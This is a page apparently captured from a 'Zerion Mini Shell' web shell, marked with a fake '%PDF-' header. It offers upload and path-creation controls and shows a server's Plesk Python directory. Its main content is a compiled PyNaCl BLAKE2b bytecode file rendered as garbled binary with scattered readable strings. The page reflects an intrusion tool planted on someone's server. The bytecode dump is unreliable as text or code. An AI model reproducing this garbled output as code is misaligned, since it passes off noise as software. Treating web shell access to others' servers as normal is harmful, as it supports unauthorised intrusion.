%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pyo

�
�֫[c@`s,ddlmZmZmZddlmZddlmZddl	m
Z
mZddlm
Z
ej�Zej�Zej�Zej�Zej�Zej�Zej�Zej�Zej�ZdZ dZ!d�Z"ed	d	d	d
�Z#d	d	d	ed�Z$d�Z%d
�Z&d�Z'dS(i(tabsolute_importtdivisiontprint_function(t
integer_types(t
exceptions(tffitlib(tensures!{0} length greater than {1} bytess{0} greater than {1}cC`s2tt|t�ddtj�tt|t�ddtj�tt|t�ddtj�tt|t�ddtj�t|tktjdt�dtj	�tt
|�tktjdt�dtj	�tt
|�t
ktjdt
�dtj	�tt
|�tktjd	t�dtj	�dS(
NsKey must be a bytes sequencetraisingsSalt must be a bytes sequencesPerson must be a bytes sequences%Digest size must be an integer numbertDigest_sizetKeytSalttPerson(Rt
isinstancetbytestexct	TypeErrorRtcrypto_generichash_BYTES_MAXt_TOOBIGtformatt
ValueErrortlentcrypto_generichash_KEYBYTES_MAXt	_OVERLONGtcrypto_generichash_SALTBYTESt crypto_generichash_PERSONALBYTES(tdigest_sizetkeytsalttperson((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pyt_checkparams's0






tc		C`s�t||||�tt|t�ddtj�tjd|�}tjdt�}tjdt	�}tj
||t|��tj
||t|��tj
|||t|�|t|�||�}t|dkddtj�tj||�S(Ns#Input data must be a bytes sequenceRsunsigned char[]sunsigned char []isUnexpected failure(RRR
RRRRtnewRRtmemmoveRRt(crypto_generichash_blake2b_salt_personaltRuntimeErrortbuffer(	tdataRRRRtdigestt_saltt_persontrc((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pyt!generichash_blake2b_salt_personalJs 

cC`s�t||||�tjdt�}tjdt�}tjdt�}tj||t|��tj||t|��tj	||t|�|||�}t
|dkddtj�|S(Nsunsigned char[]sunsigned char []isUnexpected failureR(
RRR tcrypto_generichash_STATEBYTESRRR!RRt-crypto_generichash_blake2b_init_salt_personalRRR#(RRRRtstatebufR'R(R)((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pytgenerichash_blake2b_init}s	
cC`sZtt|t�ddtj�tj||t|��}t|dkddtj�dS(Ns#Input data must be a bytes sequenceRisUnexpected failure(	RR
RRRRt!crypto_generichash_blake2b_updateRR#(R-R%R)((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pytgenerichash_blake2b_update�s

cC`sTtjdt�}tj|||�}t|dkddtj�tj||�S(Nsunsigned char[]isUnexpected failureR(	RR RRt crypto_generichash_blake2b_finalRRR#R$(R-Rt_digestR)((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pytgenerichash_blake2b_final�s

cC`s)tjdt�}tj||t�|S(Nsunsigned char[](RR R+R!(R-tnewstate((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pytgenerichash_blake2b_state_copy�sN((t
__future__RRRtsixRtnaclRRtnacl._sodiumRRtnacl.exceptionsRt crypto_generichash_blake2b_bytestcrypto_generichash_BYTESt$crypto_generichash_blake2b_bytes_mintcrypto_generichash_BYTES_MINt$crypto_generichash_blake2b_bytes_maxRt#crypto_generichash_blake2b_keybytestcrypto_generichash_KEYBYTESt'crypto_generichash_blake2b_keybytes_mintcrypto_generichash_KEYBYTES_MINt'crypto_generichash_blake2b_keybytes_maxRt$crypto_generichash_blake2b_saltbytesRt(crypto_generichash_blake2b_personalbytesRtcrypto_generichash_statebytesR+RRRR*R.R0R3R5(((sW/opt/plesk/python/2.7/lib64/python2.7/site-packages/nacl/bindings/crypto_generichash.pyt<module>s0	$1-		

Zerion Mini Shell 1.0